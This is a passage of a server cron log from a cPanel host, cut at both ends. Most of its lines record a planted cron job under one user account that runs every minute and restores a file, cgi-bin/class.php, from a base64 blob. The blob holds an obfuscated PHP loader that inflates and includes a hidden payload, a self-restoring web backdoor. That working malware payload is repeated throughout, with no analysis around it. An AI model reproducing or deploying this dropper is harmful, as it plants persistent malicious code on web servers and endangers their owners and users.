FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:29:01 server CROND[17492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:30:01 server CROND[17554]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 05:30:01 server CROND[17555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:30:01 server CROND[17556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:30:01 server CROND[17557]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:30:01 server CROND[17558]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Apr  6 05:31:01 server CROND[17674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:32:01 server CROND[17728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:33:01 server CROND[17883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:34:01 server CROND[17939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:35:01 server CROND[18031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:35:01 server CROND[18032]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 05:35:01 server CROND[18033]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:35:01 server CROND[18035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:35:01 server CROND[18034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 05:36:02 server CROND[18177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:37:01 server CROND[18234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:38:01 server CROND[18290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:39:01 server CROND[18454]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 05:39:01 server CROND[18455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:40:01 server CROND[18529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:40:01 server CROND[18531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:40:01 server CROND[18530]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 05:40:01 server CROND[18532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:41:01 server CROND[18642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:42:01 server CROND[18704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9